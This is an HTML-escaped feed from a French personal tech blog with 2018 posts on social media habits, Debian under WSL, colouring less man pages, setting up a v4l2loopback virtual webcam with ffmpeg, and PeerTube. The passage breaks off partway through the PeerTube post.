&lt;p&gt;Lorsque je décidais d&amp;rsquo;écrire un &lt;em&gt;vrac&lt;/em&gt;, c&amp;rsquo;était pour partager des liens pour lesquels je n&amp;rsquo;écrirais pas d&amp;rsquo;article mais dont je voulais me souvenir et que je voulais partager ici. Dans mon &lt;em&gt;&lt;a href="2014-04-01-vrac-14.html"&gt;vrac 14&lt;/a&gt;&lt;/em&gt;, je parlais de &lt;strong&gt;pandoc&lt;/strong&gt;… et bien, depuis 4 ans, je l&amp;rsquo;utilise quasi tous les jours.&lt;/p&gt;
&lt;p&gt;Qu&amp;rsquo;ai-je découvert de révolutionnaire depuis ?&lt;br&gt;
Rien.&lt;/p&gt;
&lt;p&gt;Depuis mon dernier &lt;em&gt;vrac&lt;/em&gt;, ce qui a le plus évolué sur internet, c&amp;rsquo;est l&amp;rsquo;attitude de chacun et chacune sur les réseaux sociaux. Nous avons développé une capacité à nous émouvoir très fort. Pendant peu de temps. Et — quasi — sans action derrière. Certaines personnes utilisent de plus en plus les réseaux sociaux tandis que d&amp;rsquo;autres parlent de &lt;strong&gt;déconnexion&lt;/strong&gt;. Dans ce domaine, 2017, 2018 voit émerger &lt;em&gt;Activity pub&lt;/em&gt; et des réseaux comme Mastodon. Décentralisés. Rien de neuf par contre en terme d&amp;rsquo;engouement du public. &lt;em&gt;Les gens restent sur les plateformes centralisées. GAFAM and co.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Personnellement, j&amp;rsquo;utilise de moins en moins. Je ne me connecte sur FB qu&amp;rsquo;une fois par mois… voire tous les deux mois. Je l&amp;rsquo;utilise uniquement (quasi) pour les pages que je gère… et je le fais avec &lt;a href="http://hootsuite/"&gt;hootsuite&lt;/a&gt; que je vous conseille. Je reste un peu dépendant de Twitter et Mastodon mais je me soigne.&lt;/p&gt;
&lt;p&gt;Et quelques liens quand même pour cloturer ce court billet :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Apprentissage de la programmation (en français) &lt;a href="http://www.france-ioi.org/"&gt;france-ioi.org/&lt;/a&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;France IOI est un équivalent de &lt;a href="http://code.org/"&gt;code.org&lt;/a&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un site qui permet de visualiser les allocations / désallocations de mémoire dans quelques langages et pas uniquement python comme son nom l&amp;rsquo;indique ; &lt;a href="http://pythontutor.com/"&gt;pythontutor.com&lt;/a&gt;. De plus, il est possible de demander de l&amp;rsquo;aide à quelqu&amp;rsquo;un en ligne. Pratique.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://www.epoptes.org/"&gt;epoptes&lt;/a&gt;&lt;/em&gt; et &lt;em&gt;&lt;a href="https://veyon.io/"&gt;veyon&lt;/a&gt;&lt;/em&gt; pour déporter les bureaux dans une salle de classe . C&amp;rsquo;est dans le &lt;em&gt;pipe&lt;/em&gt; depuis 3 ans.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://gratisography.com/"&gt;Gratisography&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Debian GNU/Linux sur le Microsoft Store</title><link href="http://blog.namok.be/2018-10-05-debian-microsoft.html" rel="alternate"/><published>2018-10-05T00:00:00+02:00</published><updated>2018-10-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-10-05:/2018-10-05-debian-microsoft.html</id><summary type="html">Debian GNU/Linux sur le Microsoft Store</summary><content type="html">&lt;p&gt;&lt;img alt="debian-app-4.jpg" src="/images/debian-app-4.jpg" title="debian-app-4.jpg, oct. 2018"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Debian GNU/Linux est disponible sur le Microsoft Store.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour apprendre les bases linux sans effort d&amp;rsquo;installation — fini le &lt;em&gt;dual boot&lt;/em&gt; et les machines virtuelles — il est possible d&amp;rsquo;utiliser l&amp;rsquo;application Debian Linux — ou une autre distribution — qui se trouve sur le Microsoft Store !&lt;/p&gt;
&lt;p&gt;&lt;img alt="debian-app.jpg" src="/images/debian-app.jpg" title="debian-app.jpg, oct. 2018"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai eu l&amp;rsquo;occasion de mettre les mains sur une machine Microsoft Windows 10 et j&amp;rsquo;ai donc pu constater l&amp;rsquo;existence de &lt;em&gt;Microsoft Store&lt;/em&gt;. C&amp;rsquo;est une bonne chose. J&amp;rsquo;ai ensuite installé « l&amp;rsquo;application Debian GNU/Linux ». Notez la présence de « GNU » qui fera plaisir à &lt;em&gt;rms&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Une fois installée, Microsoft signale qu&amp;rsquo;il faut activer le &lt;strong&gt;WSL&lt;/strong&gt; &lt;em&gt;Windows Subsystem for Linux&lt;/em&gt; ou encore &lt;em&gt;Sous-système Windows pour Linux&lt;/em&gt;. Ça se fait en deux clics et un reboot… parce que bon, un &lt;em&gt;reboot&lt;/em&gt; sous Windows, c&amp;rsquo;est toujours bien.&lt;/p&gt;
&lt;p&gt;&lt;img alt="debian-app-23.jpg" src="/images/debian-app-23.jpg" title="debian-app-23.jpg, oct. 2018"&gt;&lt;/p&gt;
&lt;p&gt;Un fois le reboot fait, on peut profiter d&amp;rsquo;une console Debian sous Windows. Si vous cherchez un peu, vous verrez que sans installation et avec simplement &lt;em&gt;WSL&lt;/em&gt; activé, vous avez accès à &lt;em&gt;bash&lt;/em&gt;. Vous verrez aussi qu&amp;rsquo;il existe d&amp;rsquo;autres distribution proposées par Microsoft.&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/debian-app-4.jpg" title="debian-app-4.jpg"&gt;&lt;img alt="debian-app-4.jpg" src="/images/debian-app-4.jpg" title="debian-app-4.jpg, oct. 2018"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Windows propose une &lt;em&gt;console linux&lt;/em&gt; et pas une distribution complète. Pas d&amp;rsquo;environnement de bureau par exemple. L&amp;rsquo;usage sera donc &lt;em&gt;textuel&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Je salue l&amp;rsquo;initiative de Microsoft tout en me disant que cette console Linux dans l&amp;rsquo;environnement Windows, bien que très pratique, ne va pas faciliter la compréhension des concepts « systèmes » dans les têtes des débutants et débutantes. Nous avons donc bien affaire à la possibilité d&amp;rsquo;inclure un sous système Linux dans un système Microsoft Windows. Même s&amp;rsquo;il ne s&amp;rsquo;agit pas d&amp;rsquo;une machine virtuelle bien emballée, ce n&amp;rsquo;est pas un système Linux natif non plus.&lt;/p&gt;
&lt;p&gt;— Qu&amp;rsquo;est-ce que WSL ?&lt;/p&gt;
&lt;p&gt;WSL, &lt;em&gt;Windows Subsystem Linux&lt;/em&gt; est un ensemble de modules permettant d&amp;rsquo;exécuter des applications Linux &lt;em&gt;elf64&lt;/em&gt; sous Microsoft Windows. &lt;a href="https://blogs.msdn.microsoft.com/wsl/2016/04/22/windows-subsystem-for-linux-overview/"&gt;Voir la présentation générale (en) sur le blog msdn&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;La notion de sous-système n&amp;rsquo;est pas neuve puisque Win32, par exemple, est un sous-système de Microsoft Windows NT (NT dans la suite) qui présente l&amp;rsquo;interface de programmation aux applications. Ce sous-système exécute les appels systèmes NT appropriés en fonction de l&amp;rsquo;API qu&amp;rsquo;il présente.&lt;/p&gt;
&lt;p&gt;Les binaires Linux sont lancés dans des processus particuliers — les &lt;em&gt;processus pico&lt;/em&gt; — au lieu des &lt;em&gt;processus NT&lt;/em&gt;. Au contraire des processus NT qui embarquent le sous-système Win32, les processus pico embarquent les pilotes &lt;em&gt;lxss.sys&lt;/em&gt; et &lt;em&gt;lxcore.sys&lt;/em&gt; qui se chargent de la traduction des appels systèmes Linux en appels systèmes NT et de l&amp;rsquo;émulation du noyau Linux. &lt;a href="https://blogs.msdn.microsoft.com/wsl/2016/05/23/pico-process-overview/"&gt;Plus d&amp;rsquo;info sur les processus pico (en) sur le blog de msdn&lt;/a&gt; et &lt;a href="https://blogs.msdn.microsoft.com/wsl/2016/06/08/wsl-system-calls/"&gt;sur l&amp;rsquo;émulation du noyau Linux (en) sur le même blog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Chaque processus lancé à partir de WSL — via bash.exe ou l&amp;rsquo;application Debian — est un processus apparaissant dans la liste des processus Windows. C&amp;rsquo;est un &lt;em&gt;processus pico&lt;/em&gt; et non un &lt;em&gt;processus NT&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/wsl/faq"&gt;Pour les questions, la FAQ Microsoft est dispo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo faite maison.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Il est toujours possible d&amp;rsquo;installer un serveur X sur Windows et d&amp;rsquo;exporter son &lt;em&gt;display&lt;/em&gt; « à l&amp;rsquo;ancienne » mais ce n&amp;rsquo;est pas offciellement supporté.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Colorer son less</title><link href="http://blog.namok.be/2018-09-21-colorer-son-less.html" rel="alternate"/><published>2018-09-21T00:00:00+02:00</published><updated>2018-09-21T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-09-21:/2018-09-21-colorer-son-less.html</id><summary type="html">Colorer son less</summary><content type="html">&lt;p&gt;&lt;img alt="less.png" src="/images/less.png" title="less.png, sept. 2018"&gt;&lt;/p&gt;
&lt;p&gt;Ce matin, je faisais une recherche dans une page de &lt;code&gt;man&lt;/code&gt; et je ne voyais pas le mot cherché. Ma page de manuel était blanche sur noir. Triste. Ajoutons des couleurs.&lt;/p&gt;
&lt;p&gt;Pour info, lorsque l&amp;rsquo;on consulte une page de manuel, linux lance un &lt;em&gt;pager&lt;/em&gt; par défaut. Ce programme permet de visualiser un fichier &lt;em&gt;page par page&lt;/em&gt; (&lt;em&gt;page par page&lt;/em&gt;, &lt;em&gt;pager&lt;/em&gt;, tu l&amp;rsquo;as ?) et y faire des recherches. Les principaux sont: &lt;em&gt;less&lt;/em&gt;, &lt;em&gt;more&lt;/em&gt; et &lt;em&gt;most&lt;/em&gt;. Par défaut, c&amp;rsquo;est souvent &lt;em&gt;less&lt;/em&gt; qui est installé.&lt;/p&gt;
&lt;p&gt;La première manière de colorer ses pages de manuel est d&amp;rsquo;utiliser un pager qui gère les couleurs. Lapalissade. &lt;em&gt;most&lt;/em&gt; est coloré par défaut, il s&amp;rsquo;active en ajoutant dans son &lt;code&gt;.bashrc&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PAGER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;most
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si, par contre, vous avez l&amp;rsquo;habitude avec &lt;em&gt;less&lt;/em&gt; et que vous ne voulez pas changer, vous pouvez lui apprendre les couleurs et ajouter dans votre &lt;code&gt;.bashrc&lt;/code&gt; (la première ligne le configure un peu différemment. &lt;code&gt;man less&lt;/code&gt; pour la signification des options):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-F -X -i -J -m -R -W -n -x4 -z-6&amp;#39;&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_mb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[1;31m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# begin bold&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_md&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[1;36m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# begin blink&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_me&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[0m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# reset bold/blink&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_so&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[1;47m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# begin reverse video&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_se&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[0m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# reset reverse video&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_us&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[1;32m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# begin underline&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LESS_TERMCAP_ue&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\E[0m&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# reset underline&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PAGER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;less
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette configuration se trouve facilement sur le net, j&amp;rsquo;ai par contre choisis du &lt;em&gt;blanc gras&lt;/em&gt; sur &lt;em&gt;gris&lt;/em&gt; pour le &lt;em&gt;reverse&lt;/em&gt; afin de bien voir les mots cherchés.&lt;/p&gt;
&lt;p&gt;Enjoy&lt;/p&gt;</content></entry><entry><title>Hier je me suis demandé si Chatroulette existait encore ou caméra virtuelle</title><link href="http://blog.namok.be/2018-05-15-chatroulette-ou-camera-virtuelle.html" rel="alternate"/><published>2018-05-15T00:00:00+02:00</published><updated>2018-05-15T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-05-15:/2018-05-15-chatroulette-ou-camera-virtuelle.html</id><summary type="html">Hier je me suis demandé si Chatroulette existait encore ou caméra virtuelle</summary><content type="html">&lt;p&gt;&lt;img alt="girl with laptop computer " src="/images/Fotolia_84018856_S.jpg" title="girl with laptop computer , mai 2018" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Si vous avez une caméra sur votre &lt;em&gt;laptop&lt;/em&gt;, vous l&amp;rsquo;avez probablement recouverte d&amp;rsquo;un papier… soit parce que vous êtes parano soit parce que vous vivez nu·e soit parce que vous ne l&amp;rsquo;utilisez en fait jamais.&lt;/p&gt;
&lt;p&gt;Le petit papier sur la caméra c&amp;rsquo;est bien. C&amp;rsquo;est facile. On ne voit pas ce qu&amp;rsquo;il se passe chez toi (éventuellement à ton insu). Par contre — petite digression — si tu es à peine parano, il faudrait surtout être sûr que ton micro ne fonctionne pas… mais c&amp;rsquo;est une autre paire de manches et un autre débat.&lt;/p&gt;
&lt;p&gt;La caméra donc.&lt;/p&gt;
&lt;p&gt;Pour une raison qui m&amp;rsquo;échappe je me suis rappelé l&amp;rsquo;existence de Chatroulette. &lt;a href="2010-02-15-a-la-recherche-du-chat-sur-la-roulette.html"&gt;Pour rappel, (re)lisez « À la recherche du chat sur la roulette »&lt;/a&gt;. Ça date de 2010 — huit ans déjà — et, je voulais savoir si le service était toujours là. En huit ans, on aurait pu le perdre et cela aurait été dommage. Vraiment. &lt;em&gt;#sarcasm&lt;/em&gt;. C&amp;rsquo;était novateur à l&amp;rsquo;époque. Conceptuellement et techniquement. Pouvoir discuter par caméra interposée directement dans son navigateur était assez neuf. Et si l&amp;rsquo;interlocuteur est choisi aléatoirement, ça peut faire de belles rencontres.&lt;/p&gt;
&lt;p&gt;Que nenni !&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée de parler et de voir une personne à l&amp;rsquo;autre bout du monde ou de son quartier pour discuter a immédiatement glissé sur « je montre ma bite ». Quasi tous les articles que vous lirez sur Chatroulette vous le confirmeront, dès que vous passez plus de dix minutes à appuyer sur &lt;em&gt;next&lt;/em&gt; — bim — une bite.&lt;/p&gt;
&lt;p&gt;Est-ce encore vrai aujourd&amp;rsquo;hui ? Question importante s&amp;rsquo;il en est.&lt;/p&gt;
&lt;p&gt;Je me rends donc à l&amp;rsquo;adresse &lt;a href="https://chatroulette.com"&gt;chatroulette.com&lt;/a&gt; pour voir et je vois qu&amp;rsquo;il faut d&amp;rsquo;abord sourire à la caméra pour se connecter. Plus question donc de laisser l&amp;rsquo;autocollant sur la caméra et, si vous êtes de ceux ou celles qui veulent montrer une autre partie de leur corps ensuite, vous n&amp;rsquo;êtes pas sûr·es que le serveur n&amp;rsquo;enregistre pas tout le flux et pourra conserver votre tête et… le reste. Comment faire pour ne pas montrer sa tête ? Mettre une photo devant la cam pourrait sans doute faire l&amp;rsquo;affaire mais il faut peut-être que « ça bouge ». Bref.&lt;/p&gt;
&lt;p&gt;Ça c&amp;rsquo;est l&amp;rsquo;introduction, je glisse maintenant sur la partie &lt;em&gt;geek&lt;/em&gt; plus intéressante.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comment faire pour envoyer autre chose que le flux capté par ma caméra ?&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Quelques recherches plut tard avec des mots clés comme &amp;ldquo;caméra virtuelle&amp;rdquo; ou &amp;ldquo;split caméra&amp;rdquo; ou autres, je trouve évidemment que la solution existe et est très simple à mettre en œuvre (voir &lt;a href="https://askubuntu.com/questions/881305/is-there-any-way-ffmpeg-send-video-to-dev-video0-on-ubuntu"&gt;AskUbuntu&lt;/a&gt; ou &lt;a href="https://video.stackexchange.com/questions/12905/repeat-loop-input-video-with-ffmpeg/16933#16933"&gt;Stackexchange&lt;/a&gt;) ce qui est moins évident. Il existe un module pour le noyau linux qui va émuler une caméra.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installer&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# apt install v4l2loopback-utils&lt;/span&gt;
&lt;span class="c1"&gt;# modprobe v4l2loopback&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Lister les périphériques&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# v4l2-ctl --list-devices&lt;/span&gt;
Dummy&lt;span class="w"&gt; &lt;/span&gt;video&lt;span class="w"&gt; &lt;/span&gt;device&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x0000&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;platform:v4l2loopback-000&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="w"&gt;    &lt;/span&gt;/dev/video1&lt;span class="w"&gt;     &lt;/span&gt;
Integrated&lt;span class="w"&gt; &lt;/span&gt;Camera&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;usb-0000:00:18.0-2&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="w"&gt;    &lt;/span&gt;/dev/video0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et je vois apparaitre un &lt;em&gt;device&lt;/em&gt; (périphérique) supplémentaire « Dummy video device » qui et une caméra virtuelle. Lorsque je me connecte à un site qui me demande accès à ma caméra, il me suffit de choisir celle-la.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Envoyer un flux vidéo à cette caméra virtuelle.&lt;/p&gt;
&lt;p&gt;Si votre but est d&amp;rsquo;envoyer une vidéo, vous pouvez utiliser la commande suivante:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-re&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;/elsewhere/beautifulvideo.mp4&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;v4l2&lt;span class="w"&gt; &lt;/span&gt;/dev/video1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si votre but est de travailler avec quelqu&amp;rsquo;un et de lui montrer votre bureau, vous pouvez utiliser la commande suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;x11grab&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;1280x720&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;:0.0+0,0&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-vcodec&lt;span class="w"&gt; &lt;/span&gt;rawvideo&lt;span class="w"&gt; &lt;/span&gt;-pix_fmt&lt;span class="w"&gt; &lt;/span&gt;yuv420p&lt;span class="w"&gt; &lt;/span&gt;-threads&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;v4l2&lt;span class="w"&gt; &lt;/span&gt;/dev/video1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour reprendre l&amp;rsquo;exemple de &lt;em&gt;Chatroulette&lt;/em&gt; et si ça vous amuse, vous pouvez maintenant faire plaisir aux utilisateurs qui ont leur membre en main en leur proposant un film qui va bien… pour peu que ça vous intéresse de voir leur réaction… moi non.&lt;/p&gt;
&lt;p&gt;Ce billet me sert d&amp;rsquo;aide-mémoire.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;Fotolia&lt;/a&gt;. J&amp;rsquo;avais acheté quelques crédits qui arrivent maintenant à échéance. Qu&amp;rsquo;est-ce donc qui étonne cette dame ?&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Peertube</title><link href="http://blog.namok.be/2018-03-23-Peertube.html" rel="alternate"/><published>2018-03-23T00:00:00+01:00</published><updated>2018-03-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-03-23:/2018-03-23-Peertube.html</id><summary type="html">Peertube est une alternative libre aux plateformes centralisées et propriétaires de diffusion de vidéos.</summary><content type="html">&lt;p&gt;&lt;img alt="pears-pexels-photo-175767-1200.jpg" src="/images/pears-pexels-photo-175767-1200.jpg" title="pears-pexels-photo-175767-1200.jpg, mar. 2018"&gt;&lt;/p&gt;
&lt;p&gt;Ce 21 mars 2018, avec le printemps, apparait la première version de &lt;strong&gt;peertube&lt;/strong&gt;. C&amp;rsquo;est une bonne nouvelle !&lt;/p&gt;
&lt;p&gt;Peertube surfe sur la vague de la décentralisation et plus particulièrement de l&amp;rsquo;&lt;em&gt;acentralisation&lt;/em&gt;. Peertube est une alternative libre aux plateformes centralisées et propriétaires de diffusion de vidéos (Youtube surement, Dailymotion sans doute et Viméo peut-être).&lt;/p&gt;
&lt;p&gt;— Donc, on oublie Youtube et on utilise Peertube ?&lt;/p&gt;
&lt;p&gt;Oui, c&amp;rsquo;est l&amp;rsquo;idée mais pas tout a fait. L&amp;rsquo;inconvénient de peertube — on verra que ce n&amp;rsquo;en n&amp;rsquo;est pas un, juste une petite barrière à l&amp;rsquo;entrée — pour l&amp;rsquo;utilisateur c&amp;rsquo;est qu&amp;rsquo;il va devoir &lt;a href="https://joinpeertube.org/instances"&gt;choisir une &lt;em&gt;instance&lt;/em&gt;&lt;/a&gt;. Il va devoir choisir un site web sur lequel il ira poster ses vidéos. Il n&amp;rsquo;existe pas &lt;a href="https://www.qwant.com/?q=peertube%20instance&amp;amp;t=all"&gt;&lt;code&gt;peertube.com&lt;/code&gt;&lt;/a&gt; mais plein d&amp;rsquo;autres. Ben oui, c&amp;rsquo;est acentralisé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Avant la génération Youtube&lt;/strong&gt;, les gens hébergeaient leurs vidéos sur leur site web / blog et la partageaient sur leur site web / blog. Il n&amp;rsquo;y avait pas de réseaux sociaux d&amp;rsquo;ailleurs. Je sais, c&amp;rsquo;est vieux.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pendant les dix dernières années&lt;/strong&gt;, ça se passait un peu comme ça.&lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;as vu la vidéo de &lt;em&gt;un truc super&lt;/em&gt; ?&lt;br&gt;
— Où ?&lt;br&gt;
— Ben, sur Youtube bien sûr.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Maintenant&lt;/strong&gt; ou peut-être demain.&lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;as vu la vidéo de &lt;em&gt;un truc super&lt;/em&gt; ?&lt;br&gt;
— Où ? Sur &lt;code&gt;peertube.moe&lt;/code&gt; ?&lt;br&gt;
— Non, elle est chez &lt;code&gt;framatube.org&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;… ce qui ne change pas grand chose si l&amp;rsquo;on partage un lien.&lt;/p&gt;
&lt;p&gt;Quelques avantages de Peertube:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;c&amp;rsquo;est un logiciel libre qui apporte ses 4 libertés fondamentales (utilisation, étude, modification et redistribution);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;je peux partager la vidéo que je veux tant que c&amp;rsquo;est légal;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;je peux choisir de déposer ma vidéo sur une instance existante ou, si je préfère, je peux installer ma propre instance;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les instances — les différents sites web &lt;a href="https://peertube.moe/"&gt;&lt;code&gt;peertube.moe&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://framatube.org/"&gt;&lt;code&gt;framatube.org&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://video.lqdn.fr/"&gt;&lt;code&gt;video.lqdn.fr&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://video.colibris-outilslibres.org/"&gt;&lt;code&gt;video.colibris-outilslibres.org&lt;/code&gt;&lt;/a&gt;… — peuvent communiquer entre elles;&lt;/p&gt;
